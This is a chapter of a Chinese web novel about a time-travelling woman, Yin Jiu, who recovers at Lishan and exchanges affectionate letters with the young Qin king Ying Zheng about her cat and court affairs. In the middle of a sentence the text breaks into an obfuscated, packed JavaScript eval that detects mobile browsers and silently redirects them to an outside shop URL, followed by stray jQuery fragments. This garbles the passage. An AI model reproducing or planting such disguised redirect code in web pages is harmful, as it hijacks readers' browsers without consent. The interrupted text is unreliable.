14. 骊山来信

作品:《与少年嬴政绑定共感后

    嬴政走后已三天,走前给她留了几个侍女和医侍,还有一大堆难喝到吐的药材。


    印玖每日看见姝笑意盈盈一脸期待地端进一碗药来,总要在心里默念三遍“喝了药才能下床玩”这句话,然后憋着气端起碗将药一饮而尽,抓起旁边蜜饯三颗一次性放进嘴里,心里这口气才呼出来。


    这日她吃完药,看见元宝端坐在她床前,摇着尾巴一脸疑惑地看着她,突然想起来可以给嬴政写信了,于是唤姝拿来笔和纸,落笔写道:


    陛下,展信安。


    这几日许是天气变冷的缘故,元宝夜夜都要上我的床与我分被窝。不过我看它脖颈处的皮肉似乎比初见时厚了些,身体状况应该不错。当然,凡事有好有坏,它越来越活泼了,你走的第二日就打翻了一套杯盏在地,茶水差点溅到我身上。姝闻声进门时,还以为是我要挣扎着下床。你说这个丫头,怎么能把她的老板当成是不识大局的笨蛋呢?虽然我确实是天天念叨着想下床,但我更清楚,现在下不了床,强行追求片刻的自由很可能会留下永远的后遗症。不过这样想想,我又觉得对黑白父子的惩罚轻了许多,但也让他们去吧,一点小事揪着不放没意思。扯远了,说回元宝,自从我对着它的屁股吹了一次气之后,它就好像发现了什么新大陆一样,总喜欢用它臭烘烘的屁股对着我,搞得我只能抱起它又亲又啃,让它主动跑掉。其他的没有了,暂时还没有发现它去抓耗子的事情,如果有的话,它以后肯定不能上床了。你也记一下这件事情。


    落款:印玖


    骊山距离咸阳有直通的官道,半日时间便足够一封信件从骊山群殿到章台宫。信使一路快走,在秦王殿门口将信件交给喜。


    “何处的信?”


    “骊山来的。”


    喜心下明了,接过信件转身进殿,将它放在案上最明显的地方。


    她看着空着的座位,发现大王与帝师在某些方面的喜好还真是出奇的一致。


    比如二人每日都要沐浴,一点也不嫌麻烦。


    嬴政洗完澡换上清爽的衣服,正打算处理公务,走进案边时看见了一封信。


    信上有骊山的标记。


    他很轻地笑了一下,将信放在席边,开始处理公务。


    烛火一跳一跳,像他心头总是忍不住地期待一样,不由自主地就想拆开信件看看里面写了些什么。嬴政只能不断地整理思绪,抛开杂念,终于提前处理完公务,小心地将火漆刮开取出信纸。


    短短的一张,内容并不多,从猫写到她自己,最后又用猫收尾,她似乎明白他是想和她聊聊天,毕竟数月以来,二人都会在饭桌上说些趣事。只是看到“黑白父子”时,嬴政还是难以自抑地笑了出来。


    知道她并没有拒绝保持这样的联系,嬴政心满意足,将信纸小心地放回信匣,回:


    老师,已接华翰,快慰莫名。


    那猫属实调皮了些。若是任由其捣乱,恐怕会影响到老师养伤的大事。晚上可以让姝注意些,别把猫放进门,在门口给它弄个窝就好。至于你说的黑白父子,老师不必担心,我已在查。不过,老师对猫的习性如此熟悉,连吹气逗猫的法子都知道,可是从前养过?若是,它们后来可还听话?另外,殿内并无鼠患,老师可放宽心。但不知老师是否还记得夏医侍建议与猫狗保持距离,避免染上病症?此事无关元宝是否调皮,老师当记在心里。最后,天渐寒,望老师添衣。


    这几日下起了雨,一天比一天冷了,室内架起了暖炉。印玖也不想着出门了,专心梳理自己的毕业论文。


    她还差两个证明就完成了!


    姝也不爱出门,搬了个矮凳在火炉边上烤火,旁边棉布上睡着元宝。


    马蹄踏碎官道上的泥水坑,划破凛冽空气与雨点,自咸阳飞驰而来,一封印有秦王标识的信件很快送到印玖宫殿门口。


    听见外面的喊声,姝忙不迭爬出去,猫也睁开眼睛看着外面动静。


    印玖看了一眼就重新回到自己的世界里,这个证明属实有点麻烦,不知道该用什么数学工具好。


    “大人,大王来信。”


    这么快?


    “放桌上。”印玖道。


    印玖还在为自己的物理证明鏖战,直到姝点起灯,她暂时放下手中的笔伸了个懒腰。


    “把信拿过来吧。”


    他不忙吗?怎么回得这么快?


    印玖诧异地打开信一看,以为是有什么要紧事,一目十行地看完,沉默了。


    黑白父子自求多福吧,反正自己该做的已经做了。


    她将信纸和信匣一并放在一旁,打算过两天再回信。


    不料第二天又收到一封信。


    印玖一边吃饭一边让姝把信拆开给她。只见上面写道:


    寡人知道老师不喜斗争,然此事不仅关系郎中令与你,也关系着秦王与朝臣。秦王威信不可侵犯,断没有轻轻放过的道理。那日寡人看见老师昏死过去,在原地许久不曾有反应。老师与寡人绑定颇深,岂能因他们不慎而有闪失。


    印玖摇摇头,将这封信也递给姝,继续吃饭,边吃边想。


    嬴政说得很有道理,政治不是过家家,嬴政现在也不处于“饶你一次赢得万声好”的地位,狠一点至少不敢让人欺负了去,也能看见秦王的血性。


    两日后,印玖给了回信。


    陛下所言甚是。臣受伤一事有劳陛下挂怀,现休养无碍,又逢天寒,想来伤口也不会发炎。至于家中事,我家中倒是不曾养过猫,但邻居家有,我小时候很喜欢去她家中做客,她教了我很多撸猫的方法。对了,按照你的建议,我让姝给元宝准备了一床被子,传染的事情你也不用担心了。说起来,这猫最近又长长了,可惜我不会画画,只能给你描述一下,它现在有三分之二卷竹简那么长了。整体样子倒是没变,不算丑也不算好看吧。顺便一提,过几日我就能下来走动了,可喜可贺!这只贱猫专门盯着我进入心流后打断我思考,平日里吃了不能下床的亏,之后我可不会放过它了。


    嬴政回:


    注意不要扯到伤口。说起来,燕国太子丹前几日来信说明年春后预备出使秦国,他也是寡人的朋友,到时候你也能见到。最近朝堂有些动荡,等你回来应该能听到一些言语,不必惊慌,底下人向来喜欢夸大其辞。


    印玖出门赏梅回来,看完嬴政的回信,将信纸往旁边一放,吃完饭又打算出门,直到腿上微痛,似乎在提醒她伤口还需要好好调养,她才不得不拿出书来看。


    元宝格外喜欢在这个时候与她互动。只见它跳上桌子,以为印玖没注意,匐下身子,伸出毛茸茸的爪子试探。印玖余光早就识破它那点小动静,一个出其不意的伸手,惊得对方三爪抓起桌布,慌不择路地跳下桌子,钻到不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168323|196457||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远处的梳妆台下,探出脑袋来看它。


    印玖没理它,将心思放在书上。


    对方锲而不舍,却被印玖的动作逼得屡战屡败。


    末了印玖一把将它抱起,边撸边想:燕国……说起来,历史上留下名字的甘罗是不是该出现了?


    印玖感觉自己就快要进入到那段被世人所知的历史里了。嬴政若是知道,多年以后,他的朋友会以献图的名义降低他的警惕,派人刺杀他,不知会作何感想,而当他命大军压进时,又收到故友的头颅,又会如何?


    人生总是充满着戏剧性,印玖不禁感慨。


    而感慨着感慨着,她突然发现自己和嬴政绑定了共感。


    “……”


    秦王殿一如既往地冷清肃穆,嬴政前几日忙得不可开交,连给印玖的回信都短了很多。


    眼下一切终于尘埃落定,他的目光注视着下方的吕不韦,脸色和善道:“那便按照仲父所说,将人换掉吧。至于别的,交由仲父做主便是。”


    “自然。”吕不韦还是那副端庄持重的样子,“听说明年开春大王的朋友燕国太子丹要来秦国访问,此事不小,大王须多上心。”秦国一向采取远交近攻的策略,此次访问是传递信号的重要方式。


    “自然。”


    吕不韦继续道:“听闻帝师这几月在建造院颇有建树,建造院出来的学生将所□□用到其余二院,同样的器材造出的武器多了不少。大王一开始就将其奉为帝师,属实是有先见之明呐,否则,我的丞相府又要多一个能力超群的下属。”


    “仲父谬赞。”嬴政不欲与旁人多言和印玖的事情,又将话题转回人事调动上,“说起来,仲父举荐的几人中有不少寡人之前未曾听闻,明日可否带来给寡人看看?”


    “好。时辰不早了,府上还有些公务要处理,就不与大王一起用午膳了。”


    “仲父走好。”


    吕不韦出了秦王殿,持重的脸色沉下几分。虽说秦王印在赵太后处,但太后此时偏向大王,凡事听他的,就算找了群戏班子也无法让太后真正高兴,得想点新的办法了。


    吕不韦走后,嬴政走进书室,从一个高架上取出一个雕刻精致的盒子,盒子里放着两封信。他伸手轻轻抚过,似珍宝一般。


    细想想,距离他送去的信已经过去一个礼拜,印玖并未回信,应该是猜到他忙着,再加上能下床了,心思放在出门赏玩上。


    但也快来了。


    正想着,殿外有人来禀,说骊山有信。


    嬴政打开后,随信飘落几朵干枯的红梅。信上无开头无落款,直接写道:


    这边梅花开得好,很香,我摘了几朵给你看看。另外,医侍说再过一个礼拜我就能回来了,应该能赶上年节的夜宴,不知道我有没有点菜的资格,我想喝鱼汤。对了,笨蛋元宝吃了一只老鼠!我不知道它从那里抓到的老鼠,但是我出门时看见它叼着它!然后它看见了我,就叼着老鼠飞快地跑了,是你的殿内。你不在,我当然不好进去,就没管了。反正它别想再上我的床了,等我回来之后,你也小心些。


    对方没提传言,嬴政一直以来紧张的心情舒坦了。


    “寡人的拜师大殿准备得如何了?”


    “一切在按照御史大夫隗状呈上来的章程进行。”


    “再隆重些吧。”


    “是。”喜恭敬道。